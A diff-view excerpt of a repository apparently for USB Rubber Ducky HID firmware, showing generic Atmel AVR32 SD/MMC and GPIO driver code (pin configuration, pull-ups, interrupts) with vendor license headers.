//! DATA FLOW is: USB => SD_MMC
|
||||
//!
|
||||
//! (sector = 512B)
|
||||
//! @param addr Sector address to start write
|
||||
//! @param nb_sector Number of sectors to transfer
|
||||
//!
|
||||
//! @return Ctrl_status
|
||||
//! It is ready -> CTRL_GOOD
|
||||
//! An error occurs -> CTRL_FAIL
|
||||
//!
|
||||
extern Ctrl_status sd_mmc_spi_usb_write_10(uint32_t addr, uint16_t nb_sector);
|
||||
|
||||
#endif // #if ACCESS_USB == ENABLED
|
||||
|
||||
#if ACCESS_MEM_TO_RAM == ENABLED
|
||||
// Standard functions for read/write 1 sector to 1 sector ram buffer
|
||||
|
||||
|
||||
//! This fonction reads 1 sector from SD/MMC to internal ram buffer
|
||||
//!
|
||||
//! DATA FLOW is: SD/MMC => RAM
|
||||
//!
|
||||
//! (sector = 512B)
|
||||
//! @param addr Sector address to read
|
||||
//! @param ram Ram buffer pointer
|
||||
//!
|
||||
//! @return Ctrl_status
|
||||
//! It is ready -> CTRL_GOOD
|
||||
//! An error occurs -> CTRL_FAIL
|
||||
//!
|
||||
extern Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram);
|
||||
|
||||
//! This fonction initialises the memory for a write operation
|
||||
//! from ram buffer to SD/MMC (1 sector)
|
||||
//!
|
||||
//! DATA FLOW is: RAM => SD/MMC
|
||||
//!
|
||||
//! (sector = 512B)
|
||||
//! @param addr Sector address to write
|
||||
//! @param ram Ram buffer pointer
|
||||
//!
|
||||
//! @return Ctrl_status
|
||||
//! It is ready -> CTRL_GOOD
|
||||
//! An error occurs -> CTRL_FAIL
|
||||
//!
|
||||
extern Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram);
|
||||
|
||||
#endif // end #if ACCESS_MEM_TO_RAM == ENABLED
|
||||
|
||||
|
||||
#endif // _SD_MMC_SPI_MEM_H_
|
1136
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.c
Executable file
1136
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.c
Executable file
File diff suppressed because it is too large
Load diff
1018
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.h
Executable file
1018
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/flashc/flashc.h
Executable file
File diff suppressed because it is too large
Load diff
635
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.c
Executable file
635
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.c
Executable file
|
@ -0,0 +1,635 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief GPIO software driver interface for AVR UC3.
|
||||
*
|
||||
* - Compiler: GCC and IAR for AVR
|
||||
* - Supported devices: All AVR UC3 devices with a GPIO module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#include "gpio.h"
|
||||
|
||||
//! GPIO module instance.
|
||||
#define GPIO AVR32_GPIO
|
||||
|
||||
|
||||
/*! \name Peripheral Bus Interface
|
||||
*/
|
||||
//! @{
|
||||
|
||||
|
||||
int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size)
|
||||
{
|
||||
int status = GPIO_SUCCESS;
|
||||
uint32_t i;
|
||||
|
||||
for (i = 0; i < size; i++)
|
||||
{
|
||||
status |= gpio_enable_module_pin(gpiomap->pin, gpiomap->function);
|
||||
gpiomap++;
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
int gpio_enable_module_pin(uint32_t pin, uint32_t function)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
|
||||
// Enable the correct function.
|
||||
switch (function)
|
||||
{
|
||||
case 0: // A function.
|
||||
gpio_port->pmr0c = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr1c = 1 << (pin & 0x1F);
|
||||
#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
gpio_port->pmr2c = 1 << (pin & 0x1F);
|
||||
#endif
|
||||
break;
|
||||
|
||||
case 1: // B function.
|
||||
gpio_port->pmr0s = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr1c = 1 << (pin & 0x1F);
|
||||
#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
gpio_port->pmr2c = 1 << (pin & 0x1F);
|
||||
#endif
|
||||
break;
|
||||
|
||||
case 2: // C function.
|
||||
gpio_port->pmr0c = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr1s = 1 << (pin & 0x1F);
|
||||
#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
gpio_port->pmr2c = 1 << (pin & 0x1F);
|
||||
#endif
|
||||
break;
|
||||
|
||||
case 3: // D function.
|
||||
gpio_port->pmr0s = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr1s = 1 << (pin & 0x1F);
|
||||
#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
gpio_port->pmr2c = 1 << (pin & 0x1F);
|
||||
#endif
|
||||
break;
|
||||
|
||||
#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
case 4: // E function.
|
||||
gpio_port->pmr0c = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr1c = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr2s = 1 << (pin & 0x1F);
|
||||
break;
|
||||
|
||||
case 5: // F function.
|
||||
gpio_port->pmr0s = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr1c = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr2s = 1 << (pin & 0x1F);
|
||||
break;
|
||||
|
||||
case 6: // G function.
|
||||
gpio_port->pmr0c = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr1s = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr2s = 1 << (pin & 0x1F);
|
||||
break;
|
||||
|
||||
case 7: // H function.
|
||||
gpio_port->pmr0s = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr1s = 1 << (pin & 0x1F);
|
||||
gpio_port->pmr2s = 1 << (pin & 0x1F);
|
||||
break;
|
||||
#endif
|
||||
|
||||
default:
|
||||
return GPIO_INVALID_ARGUMENT;
|
||||
}
|
||||
|
||||
// Disable GPIO control.
|
||||
gpio_port->gperc = 1 << (pin & 0x1F);
|
||||
|
||||
return GPIO_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size)
|
||||
{
|
||||
uint32_t i;
|
||||
|
||||
for (i = 0; i < size; i++)
|
||||
{
|
||||
gpio_enable_gpio_pin(gpiomap->pin);
|
||||
gpiomap++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void gpio_enable_gpio_pin(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->oderc = 1 << (pin & 0x1F);
|
||||
gpio_port->gpers = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
|
||||
// The open-drain mode is not synthesized on the current AVR32 products.
|
||||
// If one day some AVR32 products have this feature, the corresponding part
|
||||
// numbers should be listed in the #if below.
|
||||
// Note that other functions are available in this driver to use pins with open
|
||||
// drain in GPIO mode. The advantage of the open-drain mode functions over these
|
||||
// other functions is that they can be used not only in GPIO mode but also in
|
||||
// module mode.
|
||||
#if 0
|
||||
|
||||
|
||||
void gpio_enable_pin_open_drain(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->odmers = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
|
||||
void gpio_disable_pin_open_drain(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->odmerc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
void gpio_enable_pin_pull_up(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->puers = 1 << (pin & 0x1F);
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
gpio_port->pderc = 1 << (pin & 0x1F);
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
void gpio_disable_pin_pull_up(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->puerc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control.
|
||||
|
||||
/*! \brief Enables the pull-down resistor of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
void gpio_enable_pin_pull_down(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->puerc = 1 << (pin & 0x1F);
|
||||
gpio_port->pders = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Disables the pull-down resistor of a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
void gpio_disable_pin_pull_down(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->pderc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Enables the buskeeper functionality on a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
void gpio_enable_pin_buskeeper(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->puers = 1 << (pin & 0x1F);
|
||||
gpio_port->pders = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Disables the buskeeper functionality on a pin.
|
||||
*
|
||||
* \param pin The pin number.
|
||||
*/
|
||||
void gpio_disable_pin_buskeeper(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->puerc = 1 << (pin & 0x1F);
|
||||
gpio_port->pderc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
void gpio_configure_pin(uint32_t pin, uint32_t flags)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
|
||||
/* Both pull-up and pull-down set means buskeeper */
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
if (flags & GPIO_PULL_DOWN)
|
||||
gpio_port->pders = 1 << (pin & 0x1F);
|
||||
else
|
||||
gpio_port->pderc = 1 << (pin & 0x1F);
|
||||
#endif
|
||||
if (flags & GPIO_PULL_UP)
|
||||
gpio_port->puers = 1 << (pin & 0x1F);
|
||||
else
|
||||
gpio_port->puerc = 1 << (pin & 0x1F);
|
||||
|
||||
/* Enable open-drain mode if requested */
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
if (flags & GPIO_OPEN_DRAIN)
|
||||
gpio_port->odmers = 1 << (pin & 0x1F);
|
||||
else
|
||||
gpio_port->odmerc = 1 << (pin & 0x1F);
|
||||
|
||||
if (flags & GPIO_OPEN_DRAIN)
|
||||
gpio_port->pders = 1 << (pin & 0x1F);
|
||||
else
|
||||
gpio_port->pderc = 1 << (pin & 0x1F);
|
||||
#endif
|
||||
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
/* Select drive strength */
|
||||
if (flags & GPIO_DRIVE_LOW)
|
||||
gpio_port->odcr0s = 1 << (pin & 0x1F);
|
||||
else
|
||||
gpio_port->odcr0c = 1 << (pin & 0x1F);
|
||||
if (flags & GPIO_DRIVE_HIGH)
|
||||
gpio_port->odcr1s = 1 << (pin & 0x1F);
|
||||
else
|
||||
gpio_port->odcr1c = 1 << (pin & 0x1F);
|
||||
#endif
|
||||
|
||||
/* Select interrupt level for group */
|
||||
if (flags & GPIO_INTERRUPT) {
|
||||
if (flags & GPIO_BOTHEDGES)
|
||||
{
|
||||
gpio_port->imr0c = 1 << (pin & 0x1F);
|
||||
gpio_port->imr1c = 1 << (pin & 0x1F);
|
||||
}
|
||||
else if (flags & GPIO_RISING)
|
||||
{
|
||||
gpio_port->imr0s = 1 << (pin & 0x1F);
|
||||
gpio_port->imr1c = 1 << (pin & 0x1F);
|
||||
}
|
||||
else if (flags & GPIO_FALLING)
|
||||
{
|
||||
gpio_port->imr0c = 1 << (pin & 0x1F);
|
||||
gpio_port->imr1s = 1 << (pin & 0x1F);
|
||||
}
|
||||
}
|
||||
|
||||
/* Select direction and initial pin state */
|
||||
if (flags & GPIO_DIR_OUTPUT) {
|
||||
if (flags & GPIO_INIT_HIGH)
|
||||
gpio_port->ovrs = 1 << (pin & 0x1F);
|
||||
else
|
||||
gpio_port->ovrc = 1 << (pin & 0x1F);
|
||||
gpio_port->oders = 1 << (pin & 0x1F);
|
||||
} else {
|
||||
gpio_port->oderc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/* Enable GPIO */
|
||||
gpio_port->gpers = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port];
|
||||
|
||||
/* Both pull-up and pull-down set means buskeeper */
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
if (flags & GPIO_PULL_DOWN)
|
||||
gpio_port->pders = mask;
|
||||
else
|
||||
gpio_port->pderc = mask;
|
||||
#endif
|
||||
if (flags & GPIO_PULL_UP)
|
||||
gpio_port->puers = mask;
|
||||
else
|
||||
gpio_port->puerc = mask;
|
||||
|
||||
/* Enable open-drain mode if requested */
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
if (flags & GPIO_OPEN_DRAIN)
|
||||
gpio_port->odmers = mask;
|
||||
else
|
||||
gpio_port->odmerc = mask;
|
||||
|
||||
if (flags & GPIO_OPEN_DRAIN)
|
||||
gpio_port->pders = mask;
|
||||
else
|
||||
gpio_port->pderc = mask;
|
||||
#endif
|
||||
|
||||
#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED)
|
||||
/* Select drive strength */
|
||||
if (flags & GPIO_DRIVE_LOW)
|
||||
gpio_port->odcr0s = mask;
|
||||
else
|
||||
gpio_port->odcr0c = mask;
|
||||
if (flags & GPIO_DRIVE_HIGH)
|
||||
gpio_port->odcr1s = mask;
|
||||
else
|
||||
gpio_port->odcr1c = mask;
|
||||
#endif
|
||||
|
||||
/* Select interrupt level for group */
|
||||
if (flags & GPIO_INTERRUPT) {
|
||||
if (flags & GPIO_BOTHEDGES)
|
||||
{
|
||||
gpio_port->imr0c = mask;
|
||||
gpio_port->imr1c = mask;
|
||||
}
|
||||
else if (flags & GPIO_RISING)
|
||||
{
|
||||
gpio_port->imr0s = mask;
|
||||
gpio_port->imr1c = mask;
|
||||
}
|
||||
else if (flags & GPIO_FALLING)
|
||||
{
|
||||
gpio_port->imr0c = mask;
|
||||
gpio_port->imr1s = mask;
|
||||
}
|
||||
}
|
||||
|
||||
/* Select direction and initial pin state */
|
||||
if (flags & GPIO_DIR_OUTPUT) {
|
||||
if (flags & GPIO_INIT_HIGH)
|
||||
gpio_port->ovrs = mask;
|
||||
else
|
||||
gpio_port->ovrc = mask;
|
||||
gpio_port->oders = mask;
|
||||
} else {
|
||||
gpio_port->oderc = mask;
|
||||
}
|
||||
|
||||
/* Enable GPIO */
|
||||
gpio_port->gpers = mask;
|
||||
}
|
||||
|
||||
int gpio_get_pin_value(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
return (gpio_port->pvr >> (pin & 0x1F)) & 1;
|
||||
}
|
||||
|
||||
|
||||
int gpio_get_gpio_pin_output_value(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
return (gpio_port->ovr >> (pin & 0x1F)) & 1;
|
||||
}
|
||||
|
||||
|
||||
int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
return ((gpio_port->oder >> (pin & 0x1F)) & 1) ^ 1;
|
||||
}
|
||||
|
||||
|
||||
void gpio_set_gpio_pin(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1.
|
||||
gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin.
|
||||
gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin.
|
||||
}
|
||||
|
||||
void gpio_set_pin_high(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1.
|
||||
}
|
||||
|
||||
void gpio_set_group_high(uint32_t port, uint32_t mask)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port];
|
||||
gpio_port->ovrs = mask; // Value to be driven on the I/O group: 1.
|
||||
}
|
||||
|
||||
|
||||
void gpio_set_pin_low(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0.
|
||||
}
|
||||
|
||||
void gpio_clr_gpio_pin(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0.
|
||||
gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin.
|
||||
gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin.
|
||||
}
|
||||
|
||||
void gpio_set_group_low(uint32_t port, uint32_t mask)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port];
|
||||
gpio_port->ovrc = mask; // Value to be driven on the I/O group: 0.
|
||||
}
|
||||
|
||||
void gpio_tgl_gpio_pin(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line.
|
||||
gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin.
|
||||
gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin.
|
||||
}
|
||||
|
||||
void gpio_toggle_pin(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line.
|
||||
}
|
||||
|
||||
void gpio_toggle_group(uint32_t port, uint32_t mask)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port];
|
||||
gpio_port->ovrt = mask; // Toggle the I/O port.
|
||||
}
|
||||
|
||||
void gpio_set_gpio_open_drain_pin(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
|
||||
gpio_port->oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin.
|
||||
gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin.
|
||||
}
|
||||
|
||||
|
||||
void gpio_clr_gpio_open_drain_pin(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
|
||||
gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0.
|
||||
gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin.
|
||||
gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin.
|
||||
}
|
||||
|
||||
|
||||
void gpio_tgl_gpio_open_drain_pin(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
|
||||
gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line if the GPIO output driver is enabled: 0.
|
||||
gpio_port->odert = 1 << (pin & 0x1F); // The GPIO output driver is toggled for that pin.
|
||||
gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin.
|
||||
}
|
||||
|
||||
|
||||
void gpio_enable_pin_glitch_filter(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->gfers = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
|
||||
void gpio_disable_pin_glitch_filter(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->gferc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
/*! \brief Configure the edge detector of an input pin
|
||||
*
|
||||
* \param pin The pin number.
|
||||
* \param mode The edge detection mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE
|
||||
* or \ref GPIO_FALLING_EDGE).
|
||||
*
|
||||
* \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT.
|
||||
*/
|
||||
static int gpio_configure_edge_detector(uint32_t pin, uint32_t mode)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
|
||||
// Configure the edge detector.
|
||||
switch (mode)
|
||||
{
|
||||
case GPIO_PIN_CHANGE:
|
||||
gpio_port->imr0c = 1 << (pin & 0x1F);
|
||||
gpio_port->imr1c = 1 << (pin & 0x1F);
|
||||
break;
|
||||
|
||||
case GPIO_RISING_EDGE:
|
||||
gpio_port->imr0s = 1 << (pin & 0x1F);
|
||||
gpio_port->imr1c = 1 << (pin & 0x1F);
|
||||
break;
|
||||
|
||||
case GPIO_FALLING_EDGE:
|
||||
gpio_port->imr0c = 1 << (pin & 0x1F);
|
||||
gpio_port->imr1s = 1 << (pin & 0x1F);
|
||||
break;
|
||||
|
||||
default:
|
||||
return GPIO_INVALID_ARGUMENT;
|
||||
}
|
||||
|
||||
return GPIO_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
|
||||
// Enable the glitch filter.
|
||||
gpio_port->gfers = 1 << (pin & 0x1F);
|
||||
|
||||
// Configure the edge detector.
|
||||
if(GPIO_INVALID_ARGUMENT == gpio_configure_edge_detector(pin, mode))
|
||||
return(GPIO_INVALID_ARGUMENT);
|
||||
|
||||
// Enable interrupt.
|
||||
gpio_port->iers = 1 << (pin & 0x1F);
|
||||
|
||||
return GPIO_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
void gpio_disable_pin_interrupt(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->ierc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
|
||||
int gpio_get_pin_interrupt_flag(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
return (gpio_port->ifr >> (pin & 0x1F)) & 1;
|
||||
}
|
||||
|
||||
|
||||
void gpio_clear_pin_interrupt_flag(uint32_t pin)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
gpio_port->ifrc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
|
||||
//#
|
||||
//# Peripheral Event System Support.
|
||||
//#
|
||||
#if UC3L
|
||||
int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf)
|
||||
{
|
||||
volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5];
|
||||
|
||||
if(true == use_igf)
|
||||
{
|
||||
// Enable the glitch filter.
|
||||
gpio_port->gfers = 1 << (pin & 0x1F);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Disable the glitch filter.
|
||||
gpio_port->gferc = 1 << (pin & 0x1F);
|
||||
}
|
||||
|
||||
// Configure the edge detector.
|
||||
return(gpio_configure_edge_detector(pin, mode));
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
//! @}
|
680
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.h
Executable file
680
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/gpio/gpio.h
Executable file
|
@ -0,0 +1,680 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief GPIO software driver interface for AVR UC3.
|
||||
*
|
||||
* - Compiler: GCC and IAR for AVR
|
||||
* - Supported devices: All AVR UC3 devices with a GPIO module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
